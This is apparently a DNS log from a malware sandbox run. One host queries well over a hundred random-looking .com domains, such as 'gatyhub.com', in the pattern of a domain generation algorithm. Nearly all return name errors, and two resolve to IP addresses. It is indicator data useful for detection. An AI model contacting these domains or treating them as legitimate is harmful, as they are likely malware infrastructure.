Nov 11, 2024 18:50:40.877865076 CET	1.1.1.1	192.168.2.6	0xe389	Name error (3)	gahypus.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:40.885392904 CET	1.1.1.1	192.168.2.6	0x6072	Name error (3)	vojypuc.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:40.886126995 CET	1.1.1.1	192.168.2.6	0x694e	Name error (3)	qetykol.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:40.893836975 CET	1.1.1.1	192.168.2.6	0xc74d	Name error (3)	gatykow.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:40.894618988 CET	1.1.1.1	192.168.2.6	0x6c03	Name error (3)	qegytyv.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:40.895736933 CET	1.1.1.1	192.168.2.6	0xa4d0	Name error (3)	puryjil.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:40.897219896 CET	1.1.1.1	192.168.2.6	0x8d23	Name error (3)	lyvynen.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:40.900852919 CET	1.1.1.1	192.168.2.6	0x1d58	Name error (3)	lyryjir.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:40.901065111 CET	1.1.1.1	192.168.2.6	0xb1da	Name error (3)	pujypup.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:40.902268887 CET	1.1.1.1	192.168.2.6	0x6345	Name error (3)	pupylaq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:40.902460098 CET	1.1.1.1	192.168.2.6	0x9201	Name error (3)	vowyqoc.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:40.902935028 CET	1.1.1.1	192.168.2.6	0xc7c3	Name error (3)	pufyxug.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:40.908890009 CET	1.1.1.1	192.168.2.6	0x4155	Name error (3)	vocybam.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:40.909881115 CET	1.1.1.1	192.168.2.6	0x818a	Name error (3)	qebynyg.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:40.923804998 CET	1.1.1.1	192.168.2.6	0x6d27	Name error (3)	qeqyqiv.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:40.938103914 CET	1.1.1.1	192.168.2.6	0xfa95	Name error (3)	lygyxun.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:40.940751076 CET	1.1.1.1	192.168.2.6	0x60b2	Name error (3)	galyvas.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:40.945310116 CET	1.1.1.1	192.168.2.6	0xc624	Name error (3)	qedytul.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:40.945847034 CET	1.1.1.1	192.168.2.6	0xfd92	Name error (3)	lymyjon.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:40.947482109 CET	1.1.1.1	192.168.2.6	0xd7d2	Name error (3)	puvygyq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:40.952271938 CET	1.1.1.1	192.168.2.6	0x152a	Name error (3)	pumyjig.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:40.952439070 CET	1.1.1.1	192.168.2.6	0x22c7	Name error (3)	puzydal.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:40.965367079 CET	1.1.1.1	192.168.2.6	0xc275	Name error (3)	pujycov.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:40.965620995 CET	1.1.1.1	192.168.2.6	0x3971	Name error (3)	vopyret.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:40.966114998 CET	1.1.1.1	192.168.2.6	0xc8f0	Name error (3)	gatyrez.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:40.966145992 CET	1.1.1.1	192.168.2.6	0xe4bd	Name error (3)	qetyrap.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:40.968584061 CET	1.1.1.1	192.168.2.6	0x9e54	Name error (3)	ganyhuh.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:40.983346939 CET	1.1.1.1	192.168.2.6	0x3d15	Name error (3)	lykysix.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:40.983613968 CET	1.1.1.1	192.168.2.6	0x225d	Name error (3)	vonyjim.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:40.983897924 CET	1.1.1.1	192.168.2.6	0xd80f	Name error (3)	qegyxug.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:40.984838963 CET	1.1.1.1	192.168.2.6	0x3ae7	Name error (3)	gaqyqis.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:40.984858990 CET	1.1.1.1	192.168.2.6	0xea00	Name error (3)	pupytyl.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:40.984911919 CET	1.1.1.1	192.168.2.6	0x1bac	Name error (3)	gahycib.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:40.984927893 CET	1.1.1.1	192.168.2.6	0xde88	Name error (3)	qexyfel.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:40.985356092 CET	1.1.1.1	192.168.2.6	0x38a8	Name error (3)	qebyhuq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:40.985451937 CET	1.1.1.1	192.168.2.6	0x88c8	Name error (3)	qeqykog.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:40.985539913 CET	1.1.1.1	192.168.2.6	0x885c	Name error (3)	pumymuv.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:40.985955954 CET	1.1.1.1	192.168.2.6	0x8855	Name error (3)	vofypuk.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:40.987071037 CET	1.1.1.1	192.168.2.6	0xeef2	Name error (3)	lyvyguj.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:40.987121105 CET	1.1.1.1	192.168.2.6	0x8c6a	Name error (3)	vojycif.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:40.987795115 CET	1.1.1.1	192.168.2.6	0xc462	Name error (3)	lysytyr.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:40.989557028 CET	1.1.1.1	192.168.2.6	0x994d	Name error (3)	lyxyfar.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:40.993470907 CET	1.1.1.1	192.168.2.6	0xcd7b	Name error (3)	gacyfew.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:40.993537903 CET	1.1.1.1	192.168.2.6	0xde7f	Name error (3)	lymymud.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:40.993669033 CET	1.1.1.1	192.168.2.6	0x607	Name error (3)	qekyvav.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:40.999247074 CET	1.1.1.1	192.168.2.6	0xa7f1	Name error (3)	vocygyk.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:41.002078056 CET	1.1.1.1	192.168.2.6	0xfe29	Name error (3)	lyrywax.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:41.004019022 CET	1.1.1.1	192.168.2.6	0x4902	Name error (3)	lykyvod.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:41.004405975 CET	1.1.1.1	192.168.2.6	0x7ffc	Name error (3)	gadypuw.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:41.004853010 CET	1.1.1.1	192.168.2.6	0xc6bd	Name error (3)	volybec.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:41.005507946 CET	1.1.1.1	192.168.2.6	0xc0f7	Name error (3)	galydoz.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:41.005548000 CET	1.1.1.1	192.168.2.6	0x461e	Name error (3)	purywop.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:41.006313086 CET	1.1.1.1	192.168.2.6	0xf7c2	Name error (3)	ganynyb.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:41.006859064 CET	1.1.1.1	192.168.2.6	0xa7f3	Name error (3)	volydot.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:41.008867979 CET	1.1.1.1	192.168.2.6	0xa23e	Name error (3)	lysylej.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:41.013483047 CET	1.1.1.1	192.168.2.6	0xe56	Name error (3)	vonymuf.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:41.013509989 CET	1.1.1.1	192.168.2.6	0xf3d1	Name error (3)	qedyleq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:41.014525890 CET	1.1.1.1	192.168.2.6	0x8ba	Name error (3)	puzybep.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:41.015343904 CET	1.1.1.1	192.168.2.6	0xf8f2	Name error (3)	gadyzyh.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:41.021820068 CET	1.1.1.1	192.168.2.6	0x94c2	Name error (3)	qekysip.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:41.027652025 CET	1.1.1.1	192.168.2.6	0xcf05	Name error (3)	vofyzym.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:41.241957903 CET	1.1.1.1	192.168.2.6	0x613d	Name error (3)	lygytyd.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:41.245958090 CET	1.1.1.1	192.168.2.6	0x1206	Name error (3)	vowyjut.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:41.247828007 CET	1.1.1.1	192.168.2.6	0x676f	Name error (3)	pufytev.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:41.248421907 CET	1.1.1.1	192.168.2.6	0x6449	Name error (3)	qexyvoq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:41.253842115 CET	1.1.1.1	192.168.2.6	0xdf48	Name error (3)	lyxyvoj.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:41.259093046 CET	1.1.1.1	192.168.2.6	0xe7c3	Name error (3)	qeqyhup.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:41.260188103 CET	1.1.1.1	192.168.2.6	0x2712	Name error (3)	puzyciq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:41.263886929 CET	1.1.1.1	192.168.2.6	0xc8e8	Name error (3)	lymygyx.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:41.264724970 CET	1.1.1.1	192.168.2.6	0xb192	Name error (3)	gadyrab.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:41.269764900 CET	1.1.1.1	192.168.2.6	0x4ce7	Name error (3)	gaqyhuz.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:41.276988983 CET	1.1.1.1	192.168.2.6	0xee57	Name error (3)	qedyrag.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:41.277352095 CET	1.1.1.1	192.168.2.6	0x481c	Name error (3)	galycuw.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:41.277664900 CET	1.1.1.1	192.168.2.6	0x21bf	Name error (3)	volycik.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:41.278892040 CET	1.1.1.1	192.168.2.6	0x1dae	Name error (3)	pumygyp.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:41.280472040 CET	1.1.1.1	192.168.2.6	0x1ed	Name error (3)	vofyref.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:41.286967993 CET	1.1.1.1	192.168.2.6	0x9f4d	Name error (3)	lygylax.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:41.290177107 CET	1.1.1.1	192.168.2.6	0x4501	Name error (3)	gaqynyw.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:41.296742916 CET	1.1.1.1	192.168.2.6	0x59ed	Name error (3)	vonybat.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:41.299791098 CET	1.1.1.1	192.168.2.6	0x6c3e	Name error (3)	pujyteq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:41.300204992 CET	1.1.1.1	192.168.2.6	0x878f	Name error (3)	qeqynel.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:41.305149078 CET	1.1.1.1	192.168.2.6	0x99c9	Name error (3)	vofykoc.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:41.307378054 CET	1.1.1.1	192.168.2.6	0x362b	Name error (3)	pujyxyl.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:41.310481071 CET	1.1.1.1	192.168.2.6	0xc371	Name error (3)	gahyzez.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:41.311443090 CET	1.1.1.1	192.168.2.6	0x3361	Name error (3)	pupyjuv.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:41.312380075 CET	1.1.1.1	192.168.2.6	0x3612	Name error (3)	puvydov.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:41.312455893 CET	1.1.1.1	192.168.2.6	0xa9e1	Name error (3)	qetyquq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:41.314946890 CET	1.1.1.1	192.168.2.6	0x1613	Name error (3)	qedykiv.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:41.317425013 CET	1.1.1.1	192.168.2.6	0xd5e6	Name error (3)	vocydof.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:41.318867922 CET	1.1.1.1	192.168.2.6	0x92ff	Name error (3)	ganyvoz.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:41.318886042 CET	1.1.1.1	192.168.2.6	0x843c	Name error (3)	gatyqih.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:41.320265055 CET	1.1.1.1	192.168.2.6	0xd480	Name error (3)	lyrymuj.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:41.321221113 CET	1.1.1.1	192.168.2.6	0xb323	Name error (3)	volypum.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:41.321660995 CET	1.1.1.1	192.168.2.6	0x1392	Name error (3)	pumybal.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:41.321670055 CET	1.1.1.1	192.168.2.6	0x441c	Name error (3)	gacydib.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:41.323580980 CET	1.1.1.1	192.168.2.6	0x42f4	Name error (3)	pufylap.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:41.323590040 CET	1.1.1.1	192.168.2.6	0xe646	Name error (3)	qexysig.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:41.325305939 CET	1.1.1.1	192.168.2.6	0x7bc9	Name error (3)	qegylep.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:41.325911999 CET	1.1.1.1	192.168.2.6	0xdf7b	Name error (3)	vowymyk.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:41.327058077 CET	1.1.1.1	192.168.2.6	0x5cd1	Name error (3)	qebyfav.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:41.328176975 CET	1.1.1.1	192.168.2.6	0x614f	Name error (3)	puzypug.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:41.328356028 CET	1.1.1.1	192.168.2.6	0x7d53	Name error (3)	vopyqim.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:41.331065893 CET	1.1.1.1	192.168.2.6	0xcad6	Name error (3)	lykytej.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:41.331397057 CET	1.1.1.1	192.168.2.6	0x21b6	Name error (3)	lyvyfad.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:41.331888914 CET	1.1.1.1	192.168.2.6	0xebd9	Name error (3)	vojyzyt.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:41.332406044 CET	1.1.1.1	192.168.2.6	0x9e04	Name error (3)	galypyh.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:41.341017962 CET	1.1.1.1	192.168.2.6	0xa488	Name error (3)	lymyner.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:41.342058897 CET	1.1.1.1	192.168.2.6	0xb220	Name error (3)	lysywon.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:41.342128992 CET	1.1.1.1	192.168.2.6	0x86ab	Name error (3)	purymuq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:41.342292070 CET	1.1.1.1	192.168.2.6	0x9d3e	Name error (3)	lyxysun.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:41.342704058 CET	1.1.1.1	192.168.2.6	0xa5a9	Name error (3)	gadykos.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:41.346976042 CET	1.1.1.1	192.168.2.6	0x83d4	Name error (3)	vonygec.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:41.349572897 CET	1.1.1.1	192.168.2.6	0x606f	Name error (3)	qekytyq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:41.349798918 CET	1.1.1.1	192.168.2.6	0x3b74	Name error (3)	pupywog.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:41.351305008 CET	1.1.1.1	192.168.2.6	0xa703	Name error (3)	lykyxur.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:41.359119892 CET	1.1.1.1	192.168.2.6	0x8e4f	Name error (3)	lysyjid.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:41.364151955 CET	1.1.1.1	192.168.2.6	0x2efc	Name error (3)	qekyxul.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:41.381881952 CET	1.1.1.1	192.168.2.6	0x8022	Name error (3)	ganyfes.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:41.422830105 CET	1.1.1.1	192.168.2.6	0x4686	Name error (3)	qebyvop.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:41.431204081 CET	1.1.1.1	192.168.2.6	0x90b7	Name error (3)	vopyjuf.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:41.434968948 CET	1.1.1.1	192.168.2.6	0xa5ac	Name error (3)	puvycip.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:41.443569899 CET	1.1.1.1	192.168.2.6	0x6a4d	Name error (3)	vojyrak.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:41.465455055 CET	1.1.1.1	192.168.2.6	0x8c96	Name error (3)	lyvyvix.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:41.501935005 CET	1.1.1.1	192.168.2.6	0xa528	No error (0)	qetyhyg.com		64.225.91.73	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:41.707170010 CET	1.1.1.1	192.168.2.6	0x698b	No error (0)	gatyhub.com	pltraffic7.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 11, 2024 18:50:41.707170010 CET	1.1.1.1	192.168.2.6	0x698b	No error (0)	pltraffic7.com		72.52.179.174	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:42.740055084 CET	1.1.1.1	192.168.2.6	0xdb4c	Name error (3)	pupymyp.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:42.749427080 CET	1.1.1.1	192.168.2.6	0xffae	Name error (3)	lysymux.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:42.750042915 CET	1.1.1.1	192.168.2.6	0x5e5b	Name error (3)	galyzeb.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:42.750061989 CET	1.1.1.1	192.168.2.6	0xf8ba	Name error (3)	qekylag.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:42.751429081 CET	1.1.1.1	192.168.2.6	0xf205	Name error (3)	lyrygyn.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:42.757765055 CET	1.1.1.1	192.168.2.6	0x4957	Name error (3)	qedyqup.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:42.757853031 CET	1.1.1.1	192.168.2.6	0xe0e7	Name error (3)	purygeg.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:42.758418083 CET	1.1.1.1	192.168.2.6	0xe292	Name error (3)	vocycuc.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:42.758642912 CET	1.1.1.1	192.168.2.6	0xb3b0	Name error (3)	vonydik.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:42.762079954 CET	1.1.1.1	192.168.2.6	0x7abd	Name error (3)	lykylan.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:42.762330055 CET	1.1.1.1	192.168.2.6	0x6102	Name error (3)	ganydiw.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:42.762816906 CET	1.1.1.1	192.168.2.6	0xa985	Name error (3)	lygywor.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:42.764590979 CET	1.1.1.1	192.168.2.6	0x9ece	Name error (3)	lyxyxyd.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:42.766782999 CET	1.1.1.1	192.168.2.6	0xba90	Name error (3)	vojykom.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:42.772978067 CET	1.1.1.1	192.168.2.6	0x12f9	Name error (3)	gahyraw.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:42.776237011 CET	1.1.1.1	192.168.2.6	0x47a5	Name error (3)	qexyxuv.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:42.776777983 CET	1.1.1.1	192.168.2.6	0x4a7b	Name error (3)	gaqyfah.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:42.776787996 CET	1.1.1.1	192.168.2.6	0x27a4	Name error (3)	pufywil.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:42.777169943 CET	1.1.1.1	192.168.2.6	0x8d5a	Name error (3)	gatynes.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:42.778681993 CET	1.1.1.1	192.168.2.6	0x7d01	Name error (3)	puzyxyv.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:42.778862000 CET	1.1.1.1	192.168.2.6	0x3f8c	Name error (3)	qegyrol.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:42.780327082 CET	1.1.1.1	192.168.2.6	0x1c89	Name error (3)	lyvysur.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:42.780338049 CET	1.1.1.1	192.168.2.6	0xa49c	Name error (3)	gadyquz.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:42.780790091 CET	1.1.1.1	192.168.2.6	0xf161	Name error (3)	qeqyfaq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:42.781394958 CET	1.1.1.1	192.168.2.6	0xc939	Name error (3)	vowygem.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:42.781404972 CET	1.1.1.1	192.168.2.6	0xb2d6	Name error (3)	volyzef.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:42.784837008 CET	1.1.1.1	192.168.2.6	0xb030	Name error (3)	vopymyc.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:42.791991949 CET	1.1.1.1	192.168.2.6	0x9d0c	Name error (3)	pumydoq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:42.795653105 CET	1.1.1.1	192.168.2.6	0xc27d	Name error (3)	vofyqit.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:42.797797918 CET	1.1.1.1	192.168.2.6	0x487	Name error (3)	vopygat.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:42.798455954 CET	1.1.1.1	192.168.2.6	0xc41	Name error (3)	gacycus.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:42.805047035 CET	1.1.1.1	192.168.2.6	0xab	Name error (3)	lymyfoj.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:42.817302942 CET	1.1.1.1	192.168.2.6	0x2fb0	Name error (3)	qebyxyq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:42.823663950 CET	1.1.1.1	192.168.2.6	0x1ecc	Name error (3)	qebysul.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:42.834631920 CET	1.1.1.1	192.168.2.6	0x3e2e	Name error (3)	pujylog.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:42.916378021 CET	1.1.1.1	192.168.2.6	0xa529	Name error (3)	ganycuh.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:42.921473026 CET	1.1.1.1	192.168.2.6	0xceb1	Name error (3)	lysyger.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:42.922486067 CET	1.1.1.1	192.168.2.6	0xdf74	Name error (3)	volyrac.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:42.932573080 CET	1.1.1.1	192.168.2.6	0x4ab8	Name error (3)	qekyrov.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:42.933310032 CET	1.1.1.1	192.168.2.6	0xa331	Name error (3)	vonycum.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:42.933324099 CET	1.1.1.1	192.168.2.6	0x6d03	Name error (3)	pumycug.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:42.933641911 CET	1.1.1.1	192.168.2.6	0xdc9	Name error (3)	lyxytex.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:42.934282064 CET	1.1.1.1	192.168.2.6	0x56cf	Name error (3)	qedyhyl.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:42.935286999 CET	1.1.1.1	192.168.2.6	0x7ae5	Name error (3)	lymyvin.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:42.940280914 CET	1.1.1.1	192.168.2.6	0x16fc	Name error (3)	puzytap.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:42.940359116 CET	1.1.1.1	192.168.2.6	0xeb32	Name error (3)	vofyjuk.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:42.941097021 CET	1.1.1.1	192.168.2.6	0xf8cb	Name error (3)	galyros.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:42.943368912 CET	1.1.1.1	192.168.2.6	0x4792	Name error (3)	pupygel.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:42.945969105 CET	1.1.1.1	192.168.2.6	0xc3d2	Name error (3)	purybav.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:42.946369886 CET	1.1.1.1	192.168.2.6	0x6d10	Name error (3)	vowybof.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:42.947618008 CET	1.1.1.1	192.168.2.6	0x444f	Name error (3)	puvypul.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:42.947695971 CET	1.1.1.1	192.168.2.6	0x7f5a	Name error (3)	qetynev.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:42.948152065 CET	1.1.1.1	192.168.2.6	0xf68e	Name error (3)	gadyhyw.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:42.949703932 CET	1.1.1.1	192.168.2.6	0xfd69	Name error (3)	gaqyvob.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:42.950565100 CET	1.1.1.1	192.168.2.6	0xccfc	Name error (3)	qegykiq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:42.952284098 CET	1.1.1.1	192.168.2.6	0x6d79	Name error (3)	vocypyt.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:42.952294111 CET	1.1.1.1	192.168.2.6	0x2919	Name error (3)	gahykih.com	none	none	A (IP address)	IN (0x0001)	false
